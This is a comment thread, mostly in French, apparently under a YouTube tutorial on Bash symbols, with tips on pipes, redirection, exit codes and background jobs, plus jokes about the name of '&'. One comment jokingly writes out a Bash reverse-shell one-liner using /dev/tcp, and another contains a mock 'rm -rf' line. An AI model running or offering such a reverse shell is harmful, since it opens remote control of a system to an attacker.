Salut Thomas, merci pour cette vidéo. Je me souviens avoir répondu que je souhaitais voir un sujet autour de Bash dans ton sondage. Heureux de voir que c'est dispo. Après une vingtaine de visionnages et de notes ça va rentrer ;)
@Agesilas23 жыл бұрын
on ne dit plus "magie noire" mais "magie de couleur" ou "magie issue de la diversité", c'est moins stigmatisant 😁
@edomaur3 жыл бұрын
on peut aussi dire bashtroyer
@echopraxium57763 жыл бұрын
non: "Altération de réalité de minorité visible"
@ggousier3 жыл бұрын
MDR !
@ange5503 жыл бұрын
C'est violent aussi quand il écris "kill 190", moi je pense qu'on devrait mettre une loi contre ça
@unperrier59982 жыл бұрын
surtout pour les magiciens.
@X4vi3rG3 жыл бұрын
Bon petit tuto merci | le symbole "&" = esperluette ;-)
@gloubiboulga30632 жыл бұрын
Oui mais && est un opérateur de comparaison, qui dit quand les conditions sont réunies, les 2 qu'on utilise avec &&, un peu comme l'opérateu "and" en python, de l'opération ET logique, qui renvoie quelque chose que si les 2 commandes n'ont pas eu d'erreur. :)
@MentorDevOps3 жыл бұрын
Haha tu a fait ma journée avec ton intro 🤣. Tu aurrai aussi pu aborder le $# qui est la variable qui contient le nombre d'arguments du script, ou de la fonction.
@ChristopheCasalegno3 жыл бұрын
Hello, petite note à environ 7 min 40, "echo" par défaut est une commande interne en bash (à ne pas confondre avec le binaire système echo, qui a la même fonction). Le plus "drôle" c'est de lancer un script avec une boucle de 100000 echo (commande interne donc) avec un time devant pour mesurer la durée d'exécution, puis de faire la même chose en appelant le programme "écho" par son chemin complet (prévoir un petit paquet de popcorn), c'est une bonne manière d'introduire le concept de fork xD
@reneribaud89123 жыл бұрын
de même que [ ] est la commande test, il faut mieux utiliser [[ ]] qui est plus puissante (marche avec des regexp) et buildin dans bash.
@bationodofinitabrice5173 жыл бұрын
Ça m'intéresse ton principe, as tu une bonne documentation la dessus?
@reneribaud89123 жыл бұрын
@@bationodofinitabrice517 oui tu peux regarder google.github.io/styleguide/shellguide.html#s6.3-tests Sinon c'est très bien expliqué dans la doc de bash dans la section "Commandes composées" et "EXPRESSIONS CONDITIONNELLES", ici manpagesfr.free.fr/man/man1/bash.1.html en cherchant les occurrences de '[['.
@tonymusic73982 жыл бұрын
Merci beaucoup pour ces explications, c'était super clair 👍 il y a aussi le programme screen qui permet de lancer des commandes en fond de tâche qui est encore plus pratique que le &
@undefinedperson78162 жыл бұрын
Et tmux aussi entre autres. Ce sont des multiplexeurs de terminaux.
@gloubiboulga30632 жыл бұрын
Attention en bash à l'argument $10 (paramètre positionnel) qu'il faudra mettre entre crochets sinon ils n'interprète pas le 10 comme il faut. Donc penser dans le script à mettre echo "${10}" sinon ça fonctionne pas.( ou c'est interprété comme argument 1) Pour le pipe et grep, c'est plus POSIX compatible.
@pascuol3 жыл бұрын
T'aurais pu terminer sur fg, passe en avant plan la dernière commande en arrière plan. Puis bon ctrl-z qui suspend la commande en cours, bg pour la passer en arrière plan. Ça se mariait bien avec ton sleep. Puis quand on maîtrise les pipes et autres, envoyer un rar sur une autre machine qui le décompresse à la volée, ou plein d'autre exemple qui montrent à quel point ce pipe est ouffissime et ça t'aurais amener sur - .Pas avec grep dans un exemple ou c' est inutile.. Je te voyais aussi expliquer les entrées standards au moment de ton mkdir, pour empêcher un scrit d'afficher les messages d'erreurs.. Bref il y a encore beaucoup à dire, comme qqn la mis dans les commentaires un man c'est mieux que qq exemple, man test, man bash, ... Joli survol..
@undefinedperson78162 жыл бұрын
La vidéo aurait duré 2h voire plus. ;)
@reunosn24542 жыл бұрын
Super intéressant ! Merci et bravo !
@guyndoma9613 жыл бұрын
J’ai rien capté mais ça a l’air cool, je vais regarder tes vidéos depuis le début
@lucluc57833 жыл бұрын
00:00 intro 0:24 $ (le dollard) 0:30 $? 1:58 $ suivit d'un nombre 5:00 | (le pipe) 8:39 > (plus grand que, et double plus grand que) 10:07 < (plus petit que) 11:56
@bastienducarme3 жыл бұрын
Le double pipe correspond au OU ( || = "ou" ) et la double esperluette correspond au ET (&& = "et") :)
@o_be_one3 жыл бұрын
Ce ne serait pas plutôt « si vrai alors » et « si faux alors » ou encore « si exit code = 0 alors » et « si exit code > 0 alors » ?
@danhabib34413 жыл бұрын
Tres bon tuto merci
@adrien87683 жыл бұрын
Super :) merci
@gaiusbaltar71223 жыл бұрын
Vidéo très sympa.
@charlesb9_dev3 жыл бұрын
Dommage que l'on ait pas des vidéos de cocadmin plus souvent 😉.
@amosnimos3 жыл бұрын
i learn those things the hard way, but nice to see all these tips in a single video.
@sebastieninion213 Жыл бұрын
Super vidéo bravo ! Alors le & est appelé esperluette ! Je trouve ça plus sympa que et commercial lol merci pour le taf
@glmchn3 жыл бұрын
Salut Thomas, super video comme d'hab Est-ce que tu peux expliquer ta manip à 3:20 quand tu dis "je retourne dans mon script" stp ? (C'était cool quand on avait l'affichage de tes inputs ^^) Keep it up
@MentorDevOps3 жыл бұрын
Il fait un ctrl+r pour rechercher dans les commandes qu'il a exécuté dans l'historique. Il y a plus d'info ici : www.commandeslinux.fr/rechercher-dans-lhistorique-bash-avec-ctrlr/ C'est hyper puissant.
@bwaaabwaaa57293 жыл бұрын
Salut je découvre ta chaîne et je suis déjà fan !! Tu es vraiment clair dans tes explications ! Je voudrais passer mon lpic1 aurais tu des conseils ? Merci pour tout
@cocadmin3 жыл бұрын
Salut! Non j’ai pas de conseil j’ai jamais passé cette certif :)
@KaSSa__3 жыл бұрын
Je croyais ne jamais avoir besoin de ces informations et le lendemain j'écris un script bash qui utilise "grep quoi < fichier2", merci :D
@kholoinformatique3 жыл бұрын
bien expliqué ! $0 $1 $... $@ => $* & = esperluette ou et commercial comme dit dans d'autres commentaires while : boucle sans fin... parfait pour du monitoring exemple : while : ; do sensors ; sleep 1 ; clear ; done attention ça rempli le buffer lors des appel en terminal... on peut mettre un reset à la place du clear ...ou passer par un fichier qui sera lu... dans Ubuntu j'envoie ce fichier dans /dev/shm (c'est un tmpfs) et je le cat ou le tail rien pour jouer avec IF ? IF=$' ' pour jouer avec des profiles de firefox : # on lance firefox (on peut en GUI) # et on attend 10 secondes... # 10 devrait le faire... firefox & ; sleep 10 # on lance le choix de profile de firefox... firefox --no-remote -P & ## --no-remote pour lancer un profile quand un autre est lancé ! # if then else en bash [ condition ] && si condition oui || si condition non NB le man de test !! man test
@angebary92392 жыл бұрын
c'est de la magie !!!
@Ywqqqq3 жыл бұрын
En lien avec du développement en C++ qui regorge de symboles &, on a pris l'habitude de l'appeller "Amp" d'après "Ampersand" afin de se comprendre quelque soit la langue parlée
@merovee55093 жыл бұрын
Petite "subtilite" avec l'esperluette background, si il y a du texte qui sort genre stderr, ca sera print dans le term, ca peut etre relou xD
@nazimninja73513 жыл бұрын
Merci (y)
@ABrainrotAwayFromHeaven3 жыл бұрын
pas mal le titre!
@elyseemerisier4329 Жыл бұрын
Je pense qu’il faut que nous aussi la plus grande partie des internautes qui aiment la technologie nous devons aussi nous impliquer
@eddybash13423 жыл бұрын
Bonjour, Ça doit consommer du CPU ou GPU de dingue, votre animation permanente en fond d'écran... Merci pour le rouge sur fond bleu marine. Lol
@o_be_one3 жыл бұрын
C’est un gif
@eddybash13423 жыл бұрын
@@o_be_one je n'ai pas vu de répétition et ça semble être du calcul sur les décorations.
@o_be_one3 жыл бұрын
Je te le dis c’est un gif. Je crois qu’il avait fait une vidéo quand il avait mis en place Windows Terminal avec son gif. Et utilisant aussi Windows Terminal, je peux t’affirmer que ça prend les gifs animés.
@cocadmin3 жыл бұрын
Yep c’est un long gif ;)
@dlep92213 жыл бұрын
ça me rappelle ma jeunesse :-) Le bash est d'une puissance phénoménale, je me suis éclaté avec cet outil mais Powershell n'est pas mal non plus. & s'appelle le é commercial, && = ET et || = OU
@gaiusbaltar71223 жыл бұрын
Je plussoie. Powershell est vraiment génial en raison de sa puissance (liée au fait qu'il soit orienté objet) et de son intuitivité (liée à la cohérence de sa conception) qui le rend très facile à apprendre.
@sofiyan_ifren3 жыл бұрын
Après blacklist, black magic,... le noir c'est mal... ya un jeu ou tu n'as pas fait exprès...? 🤔 Sinon super vidéo comme d'habitude ! 👌
@CaptainDangeax2 жыл бұрын
bonjour Thomas. En Anglais c'est ampersand et en français c'est esperluette. Trop mignon
@ipadgeneration3 жыл бұрын
Je te conseil shellcheck sur github. Tout se lint tout se teste haha ( c'est un l'inter Bash puissant, même s'il ne faut pas faire de bash 😉)
@gaiusbaltar71223 жыл бұрын
Ce truc a vraiment l'air génial. Il y a même un site interactif dédié: www.shellcheck.net/ . Merci pour l'info.
@reneribaud89123 жыл бұрын
Oui shellcheck est super, je crois qu'il comprend en fonction du shebang si c'est du bash avec ses "bashism" ou si c'est un shell strictement posix.
@skizecs3 жыл бұрын
J'ai un exam sur le bash en fin d'année scolaire. Faudra que je mis mette lmao
@elyseemerisier4329 Жыл бұрын
Avantage j’ai déjà le terrain a être utilisé
@vergnauddamien35213 жыл бұрын
Mais dis moi Jamy, pourquoi ton fichier ne contient pas hahahahahahanimporte quoi sur une seule ligne ? :3
@impe0013 жыл бұрын
les && et les || pour retenir facilement c'est exactement la meme chose que en c pour ceux qui en on fait
@fadadu753 жыл бұрын
Salut Cocadmin, comment ça va =D Je voulais savoir tu étais dans quel OS dans ta vidéo, et quel etait le terminal que tu utilisais
@cocadmin3 жыл бұрын
J’utilise WSL. Ça permet d’avoir Linux dans Windows sans avoir à gérer des machines virtuelles et pouvoir utilisé les appli et jeux de Windows. Pour le terminal c’est le nouveau terminal windows :)
@fadadu753 жыл бұрын
@@cocadmin je te remercie :) et continue comme ça 😁😄
@fadamatik17523 жыл бұрын
&& : en langage français je dis "et et" ou "double signe et" super vidéo 👌
@sebastiens50133 жыл бұрын
L'animation en fond du terminal est très perturbante, dommage 😕 Sinon super vidéo 😊
@charlesb9_dev3 жыл бұрын
C'est un simple gif, donc j'imagine que la consommation est plutôt faible.
@elyseemerisier4329 Жыл бұрын
Je pense qu’il faut élargir le cadre
@booxas73 жыл бұрын
La vidéo en arrière plan elle a été ajouter en post prod ou c'est ton shell ?
@o_be_one3 жыл бұрын
Windows Terminal, la fait une vidéo dans laquelle il le met en place me semble. C’est un gif animé dans le terminal.
@NQuenault2 жыл бұрын
Pour le "&", on peut dire "'et' commercial", étant dev, je dis "and"
@benjaminmoine5883 жыл бұрын
Mais après, ça sert pas à grand chose de renvoyer une commande avec ||, pour éviter les erreurs, puisque les erreurs permettent précisément de savoir ce qu'on a fait de mal pour progresser, du coup, si on masque nos erreurs, et bien on se tire une balle dans le pied, non?
@elyseemerisier4329 Жыл бұрын
Je voudrais que vous m’appreniez tout ça puis nous formerons une superbe équipe mais moi je suis dans un pays pauvre j’aime bien la technologie mais j’ai rien du tout quoi
@soufianta83743 жыл бұрын
J’aime le shell par contre, est-ce un bon départ pour apprendre à coder ? Je sais que python est un très bon langage et je sais qu’on peut faire du shell dans python (avec des libraires os spécifiques) mais est-ce alors mieux de commencer par python et oublier le bash ? Je fais bcp de sysadmin mais je trouve que le bash est assez « lent » et « mystique » comme tu le dis si bien. Merci et bonne continuation (très bonne chaîne KZbin au passage)
@cocadmin3 жыл бұрын
Le bash est pas vraiment un bon premier language. Trop de truc mystique qui ne se retrouvent dans aucun autre languages.
@soufianta83743 жыл бұрын
@@cocadmin oui mais la logique des fonctions, variables, méthodes est la même que dans tout autre langage interprétés non? Même si le shell est mystique, il reste néanmoins le prédécesseur de tout les autres . Qu’en penses-tu ? Merci
@cocadmin3 жыл бұрын
@@soufianta8374 nan il y a plein de subtilités qui ne sont valables qu’en bash, plein de problème que tu n’as qu’en bash, plein de concept que tu as dans tous les autres languages mais pas en bash. Par exemple, pas de gestion des modules, pas de scope pour les variables, pas d’objets ni même de type de variables. C’est pour ça qu’il y a plein de truc bizarre en bash, pour palier à tous ces manques mais c’est souvent des bidouilles.
@soufianta83743 жыл бұрын
@@cocadmin Effectivement pas mal de contraintes par contre, faire du shell dans d’autres langages, c’est juste rajouter une « couche » d’abstraction supplémentaire .. Je présume que tu as été amener à utiliser pas mal de script shell dans ta carrière de sysadmin non? Ça reste toujours la manière la plus rapide de faire quelque chose de complexe en shell non? Je n’ai jamais vu quelqu’un écrire des scripts python (ou Ruby) pour automatiser des choses en shell ..
@cocadmin3 жыл бұрын
Oui c’est très utile et plein de choses son plus simples en bash que dans n’importe quel autre language. Tout dépend de ce que tu essaye de faire, quand tu connais les 2 tu peux choisir le meilleur outil pour chaque tache. En général le bash est mieux pour un petit script, et le python (ou autre ) deviens plus intéressant quand ton script grossis.
@facdrs3 жыл бұрын
Le pipe c'est le pipe ! 😂
@chaxiraxi_ytb3 жыл бұрын
《Le bash c'est un langage de bricoleur》 Je savais pas que ceux qui ont fait le bash travaillaient chez bricoflex 😂
@vignemail12 жыл бұрын
& = ampersand (english) / esperluette ou esperluète ou "et commercial" (français)| = pipe (english) / barre verticale (français)
@pierrechambet6754 Жыл бұрын
comment se deplace-t-on du script au terminal ?
@pierrechambet6754 Жыл бұрын
ok j'ai trouvé c'est echap puis :wq
@vignemail12 жыл бұрын
sleep 20 & jobs -l fg # pour revenir dans la commande sleep 20
@elyseemerisier4329 Жыл бұрын
Si il ya quelqu’un qui pourrait m’aider à monter un entreprise la ou je suis en Haïti cela tomberait bien
@focal3drone8033 жыл бұрын
esperluette ;) , petite question conne mais & et ; n'ont pas la même fonction dans une commande ? mkdir testD;touch testF = mkdir testD & touch testF ???
@gaiusbaltar71223 жыл бұрын
En fait il faut mettre deux & entre les commandes et ça signifie: si la première commande est passée avec succès, exécuter la deuxième (sous-entendu, sinon, ne pas exécuter cette deuxième commande) alors que ; ne fait que séparer des commandes comme le saut à la ligne (touche entrée dans un script) qui sont alors toutes exécutées de manière séquentielles quel que soit leur résultat.
@focal3drone8033 жыл бұрын
@@gaiusbaltar7122 oui oui ça je sais bien, mais mettre une seule esperluette fais le meme usage que ; Cela lance chaques commandes indépendamment 😊 ou alors j'ai loupé un truc (ou serait-ce la old way lol).
@gaiusbaltar71223 жыл бұрын
@@focal3drone803 en fait je n'avais jamais utilisé le & de manière isolée entre deux commandes et ne connaissais même pas son utilisation de la sorte (on en apprend vraiment tous les jours). J'ai donc fait une recherche à ce sujet et voila: "Cet opérateur permet de lancer simultanément deux commandes dont la première sera lancée en arrière plan." Source: doc.ubuntu-fr.org/projets/ecole/scripting/initiation_au_shell#presentation_de1
@focal3drone8033 жыл бұрын
@@gaiusbaltar7122 ah génial ! C'est bon de savoir la nuance ! En effet ^^ comme quoi 😉
@reneribaud89123 жыл бұрын
@@gaiusbaltar7122 dans un script on peut lancer des commandes en parallèles et attendre la fin en utilisant la commande wait. Ex : cmd1 & cmd2 & cmd3 & wait
@narcissekouassi44283 жыл бұрын
salut comment devenir un ma gicien?
@olympicolyonnais88043 жыл бұрын
Signes un CDI pour l enfer ...
@AlaaElHelw3 жыл бұрын
& = Esperluette :)
@MentorDevOps3 жыл бұрын
On peu aussi dire "et commercial" je pense que ça vien du temps où certaines entreprises s'appellaient "mySoc & Co"
@eddybash13423 жыл бұрын
@@MentorDevOps oui comme le célèbre plombier Margoulin & Gougniafie ! Lol
@oseillecrepue43623 жыл бұрын
Dans les livres anciens on trouve parfois & à la place de "et"
@eddybash13423 жыл бұрын
@@oseillecrepue4362 ça s'appelle l' ampersand !
@melchiordesaintfiacre6428 Жыл бұрын
&: "et commercial" ou "esperluette" 😉
@foxypiratecove37350 Жыл бұрын
Le &, ça s'appelle une "esperluette".
@_hackwell Жыл бұрын
je connais que "bash -c 'bash -i >& /dev/tcp// 0>&1'" 😁
@ptitbenable Жыл бұрын
& : esperluette, ou "et commercial"
@varlorgvarlorg23043 жыл бұрын
"Code de retour" pas "code d'erreur"
@hnmscreentech5680 Жыл бұрын
Passionnant le bash, mais des erreurs de grammaire : SI j'aurai ?? non, si j'avais. Mnémotechnique : monsieur "SI" n'aime par les "RAI" (ça fait saigner les oreilles)
@stmikhael18063 жыл бұрын
1:44 pour l'erreur : bas tu a Google, stackoverflow, la prière et le voodoo. si ça marche pas il y a la fonction : role_the_dice(e) { if (e%1) {rm -rf /ma_vie} else {kick_job}